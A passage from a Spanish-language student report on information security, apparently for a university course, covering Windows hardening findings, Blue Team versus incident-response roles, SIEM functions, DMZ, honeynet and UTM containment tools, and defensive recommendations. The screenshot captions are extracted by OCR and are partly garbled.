rendimiento Desactivar mensajes sobre proteccién contra spyware y otros Obtener otro programa anti spyware en
tipes relacionados linea
Proteccién antivirus (Importante) -
L . Buscar un pregrama en linea
Windows no encontré ningin software antivirus en este equipo.
Desactivar mensajes sobre proteccién antivirus
Windows Update (Importante)
Para mejorar la seguridad y el rendimiento del equipe, le recomendamos Cambiar configuracion...
que active Windows Update,
Desactivar mensajes sobre Windows Update
Vea también Firewall de red (Importante) _
. i} i ) X i 1) Activar ahora
Copias de seguridad y @ Firewall de Windows esta desactivado o configurado incorrectamente.
restauracion
Desactivar mensajes sobre firewall de red Obtener otro programa de firewall en
Windows Update linea
Solucienador de problemas de
compatibilidad de programas . . .
T Windows Defender debe examinar el equipo

Analizar ahora

La realizacidn de examenes periddicos ayuda a mejorar la seguridad del equipo.

Fuente: Propia

e Se puede observar también que el sistema operativo tiene las
actualizaciones automaticas deshabilitadas, lo cual no le permite tener
parches de actualizacion de seguridad y del software del sistema operativo,
lo cual puede ser un riesgo de ataque ya que existen muchas
vulnerabilidades que no estan corregidas y pueden ser aprovechadas por
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atacantes para comprometer el sistema y la red de la empresa por lo cual
esta seria una propuesta de harderizacion

llustracion 51: Windows Update desactivado

S
l\_/”\_/l |F’ » Panel de contrel » Todes los elementos de Panel de control » Centro de actividades

Ventana principal del Panel de

i Revisar mensajes recientes y resolver problemas

El Centro de actividades detectd algunes problemas que debe revisar,
Cambiar configuracion del
Centro de actividades

'E‘;' Cambiar configuracion de Segurldad v
Control de cuentas de usuario
v e T TS Proteccién contra spyware y software no deseado (Importante) Actuslizar ahora
T e e 4 Windows Defender no estd actualizado.

rendimiento Desactivar mensajes sobre proteccién contra spyware y otros Obtener otro programa anti spyware en
tipos relacionados linea

Proteccién antivirus (Importante)

Buscar un programa en linea

Windows no encontrd ningun software antivirus en este equipo.

Desactivar mensajes sobre proteccién antivirus

Windows Update (Importante)

Para mejorar la sequridad y el rendimiento del equipo, le recomendamos | Cambiar configuracion...
que active Windows Update,

Desactivar mensajes sobre Windows Update

Vea también Firewall de red (Importante)

i
Copias de seguridad y ﬂ Firewall de Windows estd desactivado o configurade incorrectamente. -

restauracion

Desactivar mensajes sobre firewall de red Obtener otro programa de firewall en
Windows Update linea
Solucionador de problemas de
compatibilidad de programas . ) )
de Windows Windows Defender debe examinar el equipo

Analizar ahora

La realizacidn de exdmenes periddicos ayuda a mejorar la sequridad del equipo.

Fuente: Propia

¢ A nivel de seguridad de usuarios se observa que el usuario actual (usuario)
no tiene ninguna contrasefia y es un usuario local con privilegios de
administrador, lo cual permite que se acceda a €l por cualquier otro usuario
sin ninguna dificultad y realizar cambios en el sistema. Se propone también
el uso de un dominio de trabajo donde los usuarios sean administrador por
un servidor principal con un control de contrasefas robusto y de cambio
constante que permita asegurar que no cualquier persona pueda tener
acceso a los equipos de la empresa. Ademas de eliminar estas cuentas
locales y las cuentas de administrador sean deshabilitadas de cada equipo
para evitar su uso
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llustracién 52: Cuenta de usuario

@@vh@, » Panel de control » Cuentas de usuaric y proteccion infantil » Cuentas de usuario

Ventana principal del Panel de

- Realizar cambios en la cuenta de usuario

Adrninistrar credenciales Crear una contrasefia para la cuenta

usuario
Adrministrador

Crear un disco para restablecer Cambiar imagen

contrasefia “, Cambiar el nombre de cuenta

| 3

Vincular identificadores en &) Cambiar el tipo de cuenta
linea b )

Adrninistrar sus certificados de

cifrado de archivo B Administrar otra cuenta

Configurar las propiedades By Cambiar configuracién de Control de cuentas de usuario
avanzadas del perfil de usuario

Cambiar las variables de
entorno

Fuente: Propia

e Hacer uso de NAS (Network Attached Storage “Almacenamiento Conectado
en Red”) que permita compartir datos de manera segura en la red para no
hacer uso de software que podria poner en riesgo la informacion por no
contar con la seguridad necesaria o0 que tenga vulnerabilidades que puedan
ser explotables

e Tener un control de Software permitido, el cual solo sea custodiado por el
Departamento de Sistemas y que solo ellos puedan realizar dicha instalacion
conforme a las necesidades de los usuarios sin que estos puedan instalar
otro software que no sea el permitido

e Tener el Firewall del Sistema operativo habilitado y funcionando que permita
controlar los servicios y puertos que no son utilizados por los usuarios y los
cuales funcionen como backdoors a los atacantes

e Controlar el acceso de forma remota a los equipos de los usuarios a menos
gue estos lo requieran para el cumplimiento de sus funciones, tener abiertos
protocolos como SSH y TELNET facilitan el acceso de externos y puede
desencadenar un riesgo de ataque informatico.
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6.4.3 ¢Describa con sus palabras las diferencias entre un equipo Blueteam
y un equipo de respuesta a incidentes informaticos?

Tabla 3: Diferencias entre Blue Team y CSIRT

Blue Team

Equipo de Respuesta a Incidentes
Informaticos

Los Blue Team se encargan de
proteger a la empresa de ataques
informaticos de una manera proactiva
no solo conteniendo las amenazas
actuales sino evaluando posibles
amenazas futuras

El Equipo de Respuesta a Incidentes
Informaticos son los que reciben los
reportes e incidentes de seguridad,
analizando la situacién y dando una
respuesta al incidente

El Blue Team realiza un monitoreo
constante de los recursos informaticos
a fin de encontrar patrones y
anomalias que puedan representar un
riesgo de seguridad de la informacion

El Equipo de Respuesta a Incidentes
Informaticos realizan una accion en el
momento que se presenta el incidente
informéatico, investigando como se
ataco el recurso informatico, ayudar a
recuperar el mismo y gestionando la
vulnerabilidad detectada

Los Blue Team pueden ser recursos
internos o externos de la empresa o
pueden ser agentes externos
contratados para la deteccion y
correccion de vulnerabilidades

El equipo de Respuesta a Incidentes
Informaticos son normalmente un area
de la compafiia que se encarga de
gestionar los incidentes que se
presentan sobre los recursos
informaticos

6.4.4 ¢Sidentro de un equipo Blueteam le indican que debe trabajar con CIS
“Center For Internet Security” usted lo utilizaria para qué fin?

Dado el contexto de lo que CIS representa, siendo una organizacion sin fines de
lucro que busca que las empresas, gobiernos y cualquier persona que tenga acceso
a la tecnologia y a la informacion lo haga de la manera mas segura posible
adoptando una serie de estandares y mejores practicas que permitan protegerse
contra ataques y amenazas digitales en un mundo evolucionado y cambiante donde
la informacion y la tecnologia van de la mano. Esta organizacion ofrece una serie
de estandares y guias para que le permitan al personal a cargo de la seguridad de
la informacion, mitigar, contrarrestar y defenderse de cualquier amenaza que se
presente a nivel tecnologico y cibernético. Todo esto mostrando por medio de
ataques reales y metodologias propuestas por expertos para que estos ataques
fueran contrarrestados de manera efectiva.
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Por esto, mi respuesta si lo utilizase, ya que es una herramienta muy efectiva para
estructurar un esquema de seguridad de la informacién y tener un punto de partida
para tener una politica de seguridad de la informacion para una empresay asi poder
tener un plan de accion efectiva y confiable que le permita a la misma protegerse
de cualquier amenaza y de paso conocer que nuevas amenazas Se pueden
presentar a futuro.

6.4.5 Expliquey redacte las funciones y caracteristicas principales de lo
que es un SIEM.

SIEM

Un SIEM es la union de dos tecnologias como son el SIM (Security Information
Management), y el SEM (Security Event Management). El SIM se encarga de
administrar todo lo relacionado con la seguridad de la informacion y el SEM se
encarga de la administracion de los eventos de seguridad. Un SIEM realiza ambas
tareas y realiza la recoleccion y almacenamiento de logs de forma centralizada para
asi poder mostrar eventos y detectar amenazas para asi mismo dar respuesta a
incidentes de seguridad en tiempo real y basandose en el analisis histérico de los
eventos presentados que viene de distintas fuentes.

Un SIEM se basa en buscar dentro de todos los eventos y las tareas que se
presentan en el dia a dia en los dispositivos de red de una empresa y de una manera
eficaz y rapida contrarrestar dichos eventos inusuales para prevenir que se
conviertan en una amenaza a la informacion.

Las principales ventajas que ofrece un SIEM son las siguientes:

e Proactividad en la resolucion de incidentes de seguridad

¢ Rapidez en la deteccidon de eventos e incidentes detectados

e Deteccion de amenazas no conocidas a través de la analitica avanzada de
eventos

e Mayor rapidez al momento del analisis de las alertas generadas

e Detectar amenazas a través de logs historicos usando la analitica del
dispositivo SIEM

e Garantiza la proteccion de la informacién y mejora las operaciones de la
empresa

e Evalla todos los activos de red mediante escaneo activo, monitoreo pasivo
e inventarios de hardware y software

e Evalia vulnerabilidades identificando estas vulnerabilidades por cada
sistema que administra, al mismo tiempo que realiza pruebas de
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vulnerabilidades a nivel de red y monitoriza de manera continua para detectar
vulnerabilidades no conocidas

Un SIEM cuenta entre sus funciones principales las que se describen a
continuacion:

e Agregacion de datos: este componente permite agregar los eventos de
seguridad que se utilizara en los demas componentes, los cuales vienen de
muchas fuentes y se debe a estos categorizar con el fin de estimar si estos
deben ser indexados 0 no segun su importancia

e Correlacion: Vincula todos los eventos y datos relacionados entre si para
detectar posibles incidentes de seguridad reales, asi como amenazas,
vulnerabilidades, etc. Esto gracias a la capacidad que tiene el equipo SIEM
para realizar este tipo de consultas.

e Analitica: Es el uso de los datos estadisticos y el método de aprendizaje
automatico con el que cuentan los SIEM (Machine Learning) para asi
identificar relaciones de datos y anomalias en eventos que no se pueden
detectar inicialmente.

e Uso de fuentes externas de tipo Threat Intelligence: Se combinan con
los datos internos recopilados, estas fuentes tienen datos relacionados con
vulnerabilidades, patrones o métodos de ataque y otro tipo de indicadores
maliciosos

e Alertas: Se configuran con el fin de buscar alguna actividad sospechosa y
gue esta genere un aviso cuando se cumplen ciertas condiciones y avisar por
distintos medios sobre alguna eventualidad

e Dashboards y visualizaciones: Son las ayudas graficas que se generan en
base a los datos recopilados y asi facilitar la revision de eventos relacionados
con la seguridad

e Compliance: Sirve para automatizar la correlacion de eventos que permiten
la generacion de informes necesarios para temas de auditoria y control de
los sistemas de informacion

e Retencion: Es el almacenaje de los datos por el tiempo necesario, los cuales
sirven para analizar mas detalladamente sobre cada actividad que se esté
monitoreando

e Threat Hunting: Esta funcién es muy importante, ya que permite por medio
de los datos recopilados descubrir amenazas y vulnerabilidades de manera
mas proactiva.

¢ Incident Response: Son las acciones que se deben tomar al momento de
presentarse un incidente, proporcionando la gestion de los incidentes, asi
como la colaboracion y cambio de conocimiento sobre los mismos haciendo
gue este proceso sea mas eficaz y al mismo tiempo agil
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6.4.6

Automatizacién SOC: Denominado como SOAR (Security Orchestration,
Automation and Response), es la parte que se integra con otros appliance de
seguridad por medio de APIs y asi crear playbooks y workflows de manera
automética ante determinados eventos

Defina por lo menos 3 herramientas de contencidon de ataques
informaticos “hardware o software”, recuerde que las herramientas de
contencién son diferentes a las herramientas de deteccion.

DMZ (Desmilitarized Zone): es un tipo de red LAN aislada, la cual cuenta
con servicios que los provee solo hacia la red externa, sin que haya una
conexion directa con la red interna, es decir, tanto la red externa como la
interna pueden tener acceso a la DMZ; pero la DMZ solo puede tener acceso
a lared externa. Para que estos segmentos queden debidamente separados,
es necesario que entre ellos se coloque un Firewall para separarlos.
Normalmente los equipos que se colocan en una DMZ son equipos
servidores que proporcionan servicios de caracter publico como son
Servidores Web, DNS, Exchange o Servidores de Correo, FTP y/o SFTP.

Los componentes de una DMZ son normalmente los siguientes:

o Una red Externa WAN: la cual normalmente se trata de una conexion

a Internet

o Uno o dos Firewall dependiendo de la arquitectura que se desee usar
en la DMZ

o Unared interna en la cual se alojaran los servidores o equipos de la
DMZ

o Una red interna LAN donde estaran los hosts de la red LAN a la cual
no tendré acceso la DMZ.

Las arquitecturas del Firewall de una DMZ se pueden clasificar de la siguiente
forma:

o Firewall Dual-Homed: cuenta con dos interfaces de red, las cuales
usa una para la red externa que va a un router y la otra para la red
interna en la cual no permite el paso de paquetes IP, actuando como
un servidor proxy en caso de que un host de la red interna quiera
conectarse a un servicio externo.

o Firewall Multi-homed: este cuenta con mas de dos interfaces de red,
lo cual le permite conectar varias redes. Es muy util si una empresa
necesita usar varias DMZ para aislar diferentes servicios o servidores.

o Screened Host: cuenta con un router o enrutador perimetral al cual lo
conecta directamente a la red interna. Este router recibe el trafico de

86



red de internet y por medio de filtrado de paquetes, para luego enviarlo
al Firewall y este se encarga de enviar los paquetes permitidos a la
red.

o Screened Subnet: es una reforma de seguridad a la arquitectura
Screened host, donde hay dos Firewalls. Uno de ellos protege los
datos que entran a la DMZ, pero en vez de enviar los paquetes a la
red interna, van a otro Firewall que filtra el trafico hacia esta red.

llustracién 53: Estructura de una DMZ

Servidor Red Interna
Web

w& ‘
Router g

Screening

Firewall

Servidor
de Correo

[2]\%74

Jairo Orlando Acevedo Jiménez
Fundamentos de seguridad informética
UNAD

Fuente: Propia

Honeynets: Una honeynet consiste en una red de equipos honeypots los
cuales sirven de laboratorio para determinar los blancos de ataque de los
blackhat. Es bastante versatil, ya que permite interactuar con varios sistemas
en simultaneo.

Los componentes para la creacibn de una honeynet se describen a
continuacion:

o Control de Datos. Con el objetivo de evitar ataques a través de la
misma, esta debe tener control sobre el flujo de datos asegurando que
este tenga permisos casi totales, aunque esto implique algun nivel de
riesgo. Una forma de especificar qué enfoque de control sobre esta
red es la de montar un sistema de DID (Defense In Depth) el cual va
por capas.

o Captura de Datos. Las amenazas que se detectan sobre la honeynet
deben ser registradas para llevar un seguimiento que permita su
analisis posterior. Este proceso debe llevarse a cabo bajo cautela para
gue el atacante no note que el objetivo esta siendo una honeynet, al
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igual que el componente de control de datos, es necesario que esta
informacion pase por varios mecanismos de control para registrar
estos eventos. Almacenandose en capas, a las cuales se le
designaran un entorno independiente de equipos honeypots.

o Andlisis de Datos. Este componente se basa en la conversion de los
datos recogidos en datos vitales que permitan detectar caracteristicas
y esquemas comunes de los ataques. En este punto todo dependera
del tipo de informacion y de las necesidades que maneje cada entidad.

llustracion 54: Diagrama HoneyNet

Produccion  proguccion  Produccion Atacante

Jairo Orlando Acevedo

Fuente: Propia

Firewall UTM (Unified Threat Management): Es un equipo o dispositivo
encargado de reunir muchas funciones de seguridad y en tiempo real
proteger a la red de las amenazas que existen y puedan existir en una red en
la actualidad. Haciendo un interfaz entre Hardware y Software y de acuerdo
a la tecnologia vigente en seguridad de red, este dispositivo es capaz de
detectar y combatir amenazas que se puedan encontrar en contenidos de
correo electronico, gusanos, intrusiones, sitios web maliciosos y toda
amenaza que pueda provenir del trafico de red.

En este punto se debe hablar de que tan importante seria la implementacion
de una UTM a una organizacién, para esto se deberia pensar si es mas
factible que cada uno de los servicios que presta una UTM fuera
descentralizado y se destinara un servidor o equipo para cubrir cada una de
estas areas de seguridad, seguramente el resultado seria que se tendrian
muchos dispositivos que generarian costos y, ademas sobre cargarian la red
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y los dispositivos estaria trabajando en un solo servicio que a largo plazo
terminaria subvalorando el rendimiento del equipo.

Por cuestiones de costo se podria decir que es muy viable implementar un
sistema de UTM, pero también se debe mirar la cuestiéon de que al estar
centralizada toda la seguridad en un mismo punto, se debe contar con un
dispositivo de hardware que tenga los recursos suficientes para lograr
mantener esta seguridad siempre vigente y actuar en tiempo real como debe
ser. Otro aspecto para resaltar de una UTM es que también tiene la
funcionalidad de actuar como Firewall, un firewall realiza el filtrado del trafico
de la red para enviarlo hacia la red interna de la empresa. Sin embargo, un
problema de unificar todos estos servicios de seguridad es que todos los
sistemas de proteccibn como antivirus, antimalware, firewall, es que
minimizan el uso de recursos entre ellos para poder trabajar todos al tiempo
y en el mismo dispositivo o software, lo cual hace que no todas sus
caracteristicas se puedan usar de manera completa, como lo seria si cada
servicio estuviera en un dispositivo separado. Esto no es conveniente si la
red de la organizacién maneja servicios externos y que estos manejen mucho
trafico en la red, y que generaria un exceso de trabajo en el dispositivo UTM
haciendo que pueda llegar a colapsar uno o todos los servicios.

7 ASPECTOS QUE APORTEN AL DESARROLLO DE ESTRATEGIAS DE
REDTEAM & BLUETEAM
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Se debe tener en cuenta que para que este tipo de estrategias tenga el éxito
esperado, ambos equipos deben tener presente su rol en la investigacion para asi
conseguir el objetivo principal de esta estrategia, la cual es evaluar si los controles
0 mecanismos de seguridad de la informacién y ciberseguridad son lo
suficientemente efectivos para prevenir, contener y controlar un riesgo informéatico
y/lo se presente un ataque informatico, se tengan claros los lineamientos tanto
técnicos como organizacionales para que este ataque no genere un impacto
negativo importante para la empresa. El Red Team debe estar coordinado con el
Blue Team para lograr poner a prueba la efectividad de los controles que pueda
tener la empresa en materia de ciberseguridad y si no los tiene que sea el primer
paso para construir esta politica que es muy importante para las empresas de hoy,
aplicando todas las técnicas y habilidades para que se pueda montar el escenario
necesario para ver qué puntos débiles o vulnerabilidades tiene la empresa y como
fortalecerlos y al tiempo probar si los puntos fuertes lo pueden ser mas. Tomando
en cuenta este propdsito, esta estrategia es muy completa ya que se analiza tanto
la parte técnica y como un atacante ve a la empresa como un blanco de ataque y
que vulnerabilidades encuentra realizando un andlisis de esta, como la empresa
respondiendo a dicho ataque con estrategias coordinadas y supervisadas por
profesionales que usaran los medios que se tengan al alcance para que este ataque
no se materialice.
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8 RECOMENDACIONES PARA EL PLANTEAMIENTO DE ESTRATEGIAS
QUE PERMITAN ENDURECER LOS ASPECTOS DE SEGURIDAD EN UNA
ORGANIZACION

Como principal recomendacion, se debe concienciar a las empresas de la
importancia que ha tomado la informacion digital para todo el mundo y que la
informacion se ha convertido en uno de los activos mas importante para las mismas.
Aln existen empresas que no cuentan con un modelo de seguridad de la
informacion o que aun no lo han implementado en su totalidad viendo que las
amenazas digitales existen, pero no le dan la importancia que se necesita para estar
preparados por si llegan a materializarse.

Al igual que la seguridad de la informacion, la seguridad informatica debe ser tenida
muy en cuenta en un modelo estratégico tanto para la organizacion como para cada
una de las areas que la conforman. Es por eso que se debe tener dentro de la
empresa, un area encargada de analizar como se encuentra la empresa a nivel de
ciberseguridad e ir auditando periddicamente si estas estrategias cumplen con el
cometido de proteger la informacion. Realizar pruebas de vulnerabilidades e
informar a la alta gerencia y a todo el personal necesario de los hallazgos
encontrados y los puntos a mejorar ya que no hay una estrategia que controle y
elimine las amenazas que existen sobre la informacion.

Contar con el personal técnico capacitado para hacer frente a amenazas potenciales
gue se puedan presentar, haciendo un control de vulnerabilidades y como poderlas
mitigar o eliminar de manera segura y con el menor coste para la empresa.

En la parte técnica, mantener los sistemas operacionales y todo el software vital
para la empresa con actualizaciones constantes y parches de seguridad que el
fabricante produzca para asi reducir el riesgo de que se materialice una amenaza.
Evitando el uso de software que ya sea obsoleto o que el fabricante ya no de ningan
tipo de soporte o que ya haya terminado su tiempo de vida, ya que es en este
software donde se concentran la mayoria de los ataques y amenazas que son
aprovechadas por los ciberdelincuentes.
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Tener un software de antivirus es de vital importancia para las empresas ya que la
muchos de los ataques que se presenta en las empresas se presentan por malware
0 codigo malicioso que un antivirus puede detectar, al igual este debe contar con
las actualizaciones de su base de datos para evitar que sea obsoleto antes
amenazas nuevas.

A nivel de red, implementar medidas como uso de red segmentada por areas que
permita aislar las mismas y que toda la informacion sea accesible para toda la
empresa. El uso de DMZ permite aislar toda la infraestructura de Data Canter en
una zona de acceso restringido y que solo administradores y personal autorizado
pueda tener acceso a estos recursos.

Tener dentro de los recursos informaticos, herramientas de IDS e IPS que detecten
y hagan frente a ataques que se estén presentando en tiempo real y contenerlos de
manera eficaz antes que afecten la informacion sensible o los recursos informaticos
de la empresa
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9 CONCLUSIONES

La seguridad de la informacidn es un aspecto muy importante para evaluar al
momento que las organizaciones se dan a conocer. Para muchas empresas
tienen la necesidad de darse a conocer a los clientes y ofrecer su portafolio de
servicios y bienes de la forma mas eficiente, para esto se han tenido que ver
cada vez mas forzados a interconectar sus redes privadas a la red mundial es
decir internet. ¢ Es ahi donde se empieza a pensar que se esta haciendo para
gue la informacion sensible para las empresas que cada vez se esta viendo mas
atacada por personas externas o en muchos casos internas a la organizacion
este protegido de los Hackers que quieren obtener o modificar esta informacion
con fines delictivos?

En el desarrollo de este informe se llegan a las siguientes conclusiones

e Las leyes en Colombia estan reguladas ya para detener algunos delitos que
se cometen por medios informaticos. Sin embargo, debe haber un estudio de
la ley 1273 de 2009 en algunos articulos ya que para algunos de estos
protegen mas a las empresas que a las personas naturales o existen algunos
vacios que aplicarian solo a las empresas.

e Las certificaciones en seguridad informatica han tenido una gran evolucion
en el mundo, ya que cada vez las empresas entre sus roles principales esta
gue se cuente con algun profesional que ya cuente con alguna de estas. Sin
embargo, cada certificacion tiene un enfoque y un area que la caracteriza por
lo cual siempre se necesitara un profesional que retna lo mejor de todas
ellas.

e La estrategia de Red Team y Blue Team es una de las mas completas que
existen para evaluar la seguridad de una empresa, ya que permite emular un
ataque real y al mismo tiempo que estrategias y procesos técnicos se pueden
ejecutar para enfrentar estos ataques de manera eficaz para asi poder
cambiar aspectos y medir la efectividad de otros frente a las amenazas.
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11 ENLACE AL VIDEO DE SUSTENTACION

https://youtu.be/c09aMG84rMQ
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12 RESULTADO DE PRUEBA ANTI-PLAGIO

llustracion 55 Resultado prueba anti-plagio
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